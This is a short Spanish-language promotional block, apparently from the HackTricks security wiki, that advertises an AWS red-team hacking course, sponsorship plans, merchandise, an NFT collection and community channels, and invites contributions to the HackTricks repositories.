Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).